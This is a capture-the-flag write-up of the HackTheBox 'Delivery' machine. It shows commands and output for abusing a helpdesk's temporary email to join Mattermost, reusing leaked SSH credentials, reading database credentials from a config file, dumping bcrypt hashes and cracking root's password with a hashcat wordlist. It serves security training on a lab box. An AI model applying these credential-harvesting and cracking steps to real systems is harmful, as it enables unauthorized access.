Delivery from HackTheBox is all about exploiting a logic flaw called TicketTrick which was discovered by Inti De Ceukelaire.
On this machine, there is a helpdesk ticketing system that gives an unauthenticated user a temporary email with a legitimate company domain. Using that email, I’m able to register at Mattermost and gain access to the company private communication channel. The conversation in the channel leaks a set of SSH credentials and a password in which its variant is being used in the system. There is a set of database credentials in the Mattermost configuration file, which can be used to dump the password hash of the root account. After generating a variant of the exposed password with hashcat, I’m able to crack the password and obtain root access.
Skills Learned
- TicketTrick
- Generating wordlist using hashcat
Tools
- Kali Linux (Attacking Machine) - https://www.kali.org/
- Nmap - Preinstalled in Kali Linux
- hashcat
Reconnaissance
Nmap
nmap
full TCP scan discovers three open ports: An SSH on port 22, an HTTP server on port 80, and an unknown service on port 8065
→ root@kali «delivery» «10.10.14.70»
$ nmap -p- --min-rate 1000 -sV --reason -oA nmap/10-tcp-allport-delivery 10.10.10.222
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-21 14:58 EDT
....
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.14.2
8065/tcp open unknown syn-ack ttl 63
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8065-TCP:V=7.80%I=7%D=5/21%Time=60A80336%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,DF3,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\
....
→ root@kali «delivery» «10.10.14.70»
$ nmap -p22,80,8065 --min-rate 1000 -sC --reason -oA nmap/10-tcp-allport-delivery 10.10.10.222
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-21 15:06 EDT
Nmap scan report for 10.10.10.222
Host is up, received echo-reply ttl 63 (0.45s latency).
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
| ssh-hostkey:
| 2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
| 256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_ 256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp open http syn-ack ttl 63
|_http-title: Welcome
8065/tcp open unknown syn-ack ttl 63
I can clearly see the fingerprint of port 8065 indicate that it’s a HTTP server which I can confirm with curl
.
→ root@kali «delivery» «10.10.14.70»
$ curl -sI 10.10.10.222:8065
HTTP/1.1 405 Method Not Allowed
Date: Fri, 21 May 2021 19:09:14 GMT
Enumeration
TCP 80 - Website
This page is a static website.
The text “HELPDESK” points to http://helpdesk.delivery.htb/
. Clicking on the “CONTACT US” flips the homepage to this views:
The text “MatterMost server” points to http://delivery.htb:8065
.
I can use curl
and grep
command to grab all the links/URL from this page.
→ root@kali «delivery» «10.10.14.70»
$ curl -s 10.10.10.222 | grep -Eo 'href="[^\"]+"' | grep -v '#'
href="assets/css/main.css"
href="assets/css/ie9.css"
href="assets/css/noscript.css"
href="http://helpdesk.delivery.htb"
href="http://helpdesk.delivery.htb"
href="http://delivery.htb:8065"
href="https://html5up.net"
I’ll add the newly discovered hostnames to my /etc/hosts
:
→ root@kali «delivery» «10.10.14.70»
$ echo '10.10.10.222 delivery.htb helpdesk.delivery.htb' > /etc/hosts
Before moving on, we can poke the hostnames and compare their page size to check if this site has different content when we visit it with a hostname.
→ root@kali «delivery» «10.10.14.70»
$ curl -s http://10.10.10.222/ | wc -c
10850
→ root@kali «delivery» «10.10.14.70»
$ curl -s http://delivery.htb/ | wc -c
10850
→ root@kali «delivery» «10.10.14.70»
$ curl -s http://helpdesk.delivery.htb/ | wc -c
4933
There is only one page that has different in size.
I did a gobuster
scan but find nothing useful in the results, so I’ll move to the next prt.
TCP 80 - helpdesk.delivery.htb
There is a helpdesk ticketing system here. At the bottom of the page it shows it is powered by osTicket.
The “Open a New Ticket” menu.
The “Check Ticket Status” menu.
Open a New Ticket
According to the message at http://delivery.htb/#contact-us
, guest user seems to be allowed to create a ticket here.
For unregistered users, please use our HelpDesk to get in touch with our team.
Once you have an @delivery.htb email address, you'll be able to have access to our MatterMost server.
I’ll create one.
Once the ticket request is submitted, it notifies that the ticket has been created.
Besides the ticket id, it also gives us a temporary email with domain of delivery.htb
, and I’ll note that:
- Ticket : 4709941
- Email: 4709941@delivery.htb.
The created ticket can be accessed/viewed on “Check Ticket Status” menu.
Finding vulnerabilities
The app source code is available on Github: https://github.com/osTicket/osTicket. But, it seems I’ll need an admin access to find the exact version.
On Exploit-DB, the available exploits mostly involve XSS that requires a user interaction, and there is no indication for that in this box, so let’s move to the next one.
TCP 8065 — Mattermost
There is an instance of Mattermost here and it requires an account.
Sign up is allowed, but the page clearly shows that valid email is required.
And here is why a valid email is required, there is a verification process.
Foothold
Shell as maildeliverer
Access to Mattermost using TicketTrick
The idea of TicketTrick here is to use the temporary email address given by the support ticket system to register on Mattermost.
For me, the previous email is: 4709941@delivery.htb
. I’ll use that to register on Mattermost.
The verification is sent to 4709941@delivery.htb
.
Back on helpdesk, I can see the verification link to activate the my previously created Mattermost account.
Visiting http://delivery.htb:8065/do_verify_email?token=eoy11mus8h6m4hctpmwt9qw31cdsfcxzbg7noyc5gzpc6htp9e8mqe55wwewaju9&email=4709941%40delivery.htb
redirects back to MatterMost which confirms the email has been verified.
Upon logging in, I’m able to join the Internal channel (like server on Discord). There is one channel called internal.
The chats from root contain a set of credentials and a few hints which indicates that they use a variant password of “PleaseSubscribe!”.
SSH - maildeliverer
The credentials of maildeliverer works on SSH.
→ root@kali «delivery» «10.10.14.70»
$ ssh maildeliverer@delivery.htb
...
maildeliverer@delivery.htb's password:
Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
...
Last login: Fri May 21 14:11:23 2021 from 10.10.16.16
maildeliverer@Delivery:~$ id
uid=1000(maildeliverer) gid=1000(maildeliverer) groups=1000(maildeliverer)
The user flag is done here.
maildeliverer@Delivery:~$ ls -l
total 4
-r-------- 1 maildeliverer maildeliverer 33 May 21 11:21 user.txt
Privilege Escalation
Shell as root
Internal Enumeration
Enumerating on /opt
finds the Mattermost installation folder. The Mattermost config file contains the database credentials.
maildeliverer@Delivery:/opt/mattermost/config$ cat config.json | grep SqlSetting -A10
"SqlSettings": {
"DriverName": "mysql",
"DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
"DataSourceReplicas": [],
"DataSourceSearchReplicas": [],
"MaxIdleConns": 20,
"ConnMaxLifetimeMilliseconds": 3600000,
"MaxOpenConns": 300,
"Trace": false,
"AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",
"QueryTimeout": 30,
The credentials is mmuser:Crack_The_MM_Admin_PW
.
MySQL - Dump Passwords
With database credentials, I can connect to the MySQL service.
maildeliverer@Delivery:/opt/mattermost/config$ mysql mattermost -u mmuser -pCrack_The_MM_Admin_PW
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 395
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [mattermost]>
There is a users table which usually contains something juicy.
MariaDB [mattermost]> show tables;
+------------------------+
| Tables_in_mattermost |
+------------------------+
...
| Users |
+------------------------+
46 rows in set (0.001 sec)
I can get the columns of the table user by querying describe Users;
.
MariaDB [mattermost]> describe Users;
+--------------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------------------+--------------+------+-----+---------+-------+
| Id | varchar(26) | NO | PRI | NULL | |
| CreateAt | bigint(20) | YES | MUL | NULL | |
| UpdateAt | bigint(20) | YES | MUL | NULL | |
| DeleteAt | bigint(20) | YES | MUL | NULL | |
| Username | varchar(64) | YES | UNI | NULL | |
| Password | varchar(128) | YES | | NULL | |
...
+--------------------+--------------+------+-----+---------+-------+
25 rows in set (0.001 sec)
I’ll dump that the username and password columns from the table Users.
MariaDB [mattermost]> select Username,Password from Users;
+----------------------------------+--------------------------------------------------------------+
| Username | Password |
+----------------------------------+--------------------------------------------------------------+
| surveybot | |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| testmail | $2a$10$gSBaz3a76sX.ikqynx4E7O2NYn9.q6fcSopTwYP672lJMSbZ6.IQa |
| help | $2a$10$zsb4KbggZbpQi2Wa8W0.C.lHVJxiUBr6cyNFbDbWu11j6JBJrVkpm |
| root | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| channelexport | |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
| aaaa | $2a$10$yIdqqOXl.5dcWsXk.Doo2ewl.zTFdsDd2F0.c44iWOpGMIgmDTsY6 |
| iiamf | $2a$10$esA8d/l5.IKQJIhnl2SeYeeoFaCOE6Z/esUOSuRb.Vqtkf3gvbli6 |
| iamf | $2a$10$ZYEM.GLMnAfq8eM.2rs8q.e/q3bHaOVOCvlu7YGhU0rU0Ug4PME9a |
+----------------------------------+--------------------------------------------------------------+
12 rows in set (0.000 sec)
MariaDB [mattermost]>
Those are bcrypt hashes, but let’s prioritize the root hash.
Cracking the Hash
Based on the conversations on Mattermost, there is someone in the system that uses a variant of “PleaseSubscribe!” and they were talking about hashcat rules.
I remember exactly that Ippsec (the box author) has shown several techniques on how to generate a variant of seasonal passwords on Forest .
Now the idea is instead of generating seasonal passwords, I can try to generate a few variant of “PleaseSubscribe!” and use them for cracking.
So, I’ll start by calculating the length of “PleaseSubscribe!”.
→ root@kali «delivery» «10.10.14.70»
$ echo -n 'PleaseSubsribe!' | wc -c
15
It has length of 15. I’ll save the “PleaseSubscribe!” string to a file.
→ root@kali «delivery» «10.10.14.70»
$ echo 'PleaseSubscribe!' > IppsecSubscriber
Then I’ll feed that file to hashcat
to generate some new variant of it using base64 rule, and I’ll take out only the string which has a length greater than 15 and pipe the output to a file called custom_wordlist
.
→ root@kali «delivery» «10.10.14.70»
$ hashcat IppsecSubscriber -r /usr/share/hashcat/rules/best64.rule --stdout | awk 'length($0) > 15' > custom_wordlist
It produces 46 words.
→ root@kali «delivery» «10.10.14.70»
$ wc -w custom_wordlist
46 custom_wordlist
With that wordlist the hash gets cracked instantly!
C:\tools\hashcat6>hashcat.exe -m 3200 '$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO' custom_wordlist --force
....
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21
Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v...JwgjjO
Time.Started.....: Mon Mar 15 21:36:35 2021 (1 sec)
Time.Estimated...: Mon Mar 15 21:36:36 2021 (0 secs)
[....]
The recovered password is PleaseSubscribe!21
.
SU - root
That password works on root user.
maildeliverer@Delivery:~$ su root
Password:
root@Delivery:/home/maildeliverer# id
uid=0(root) gid=0(root) groups=0(root)
Now I can just grab the root flag.
root@Delivery:/home/maildeliverer# cd ~
root@Delivery:~# ls -l
total 16
-rwxr-x--- 1 root root 103 Dec 26 11:26 mail.sh
-r-------- 1 root root 382 Dec 28 07:02 note.txt
-rw-r----- 1 root root 1499 Dec 26 10:55 py-smtp.py
-r-------- 1 root root 33 May 21 11:21 root.txt
root@Delivery:~# cat *.txt
I hope you enjoyed this box, the attack may seem silly but it demonstrates a pretty high risk vulnerability I've seen several times. The inspiration for the box is here:
- https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c
Keep on hacking! And please don't forget to subscribe to all the security streamers out there.
- ippsec
a7d68baadc3b3c072c6...<SNIP>...
There is also a message from the box’s author:
root@Delivery:~# cat note.txt
I hope you enjoyed this box, the attack may seem silly but it demonstrates a pretty high risk vulnerability I've seen several times. The inspiration for the box is here:
- https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c
Keep on hacking! And please don't forget to subscribe to all the security streamers out there.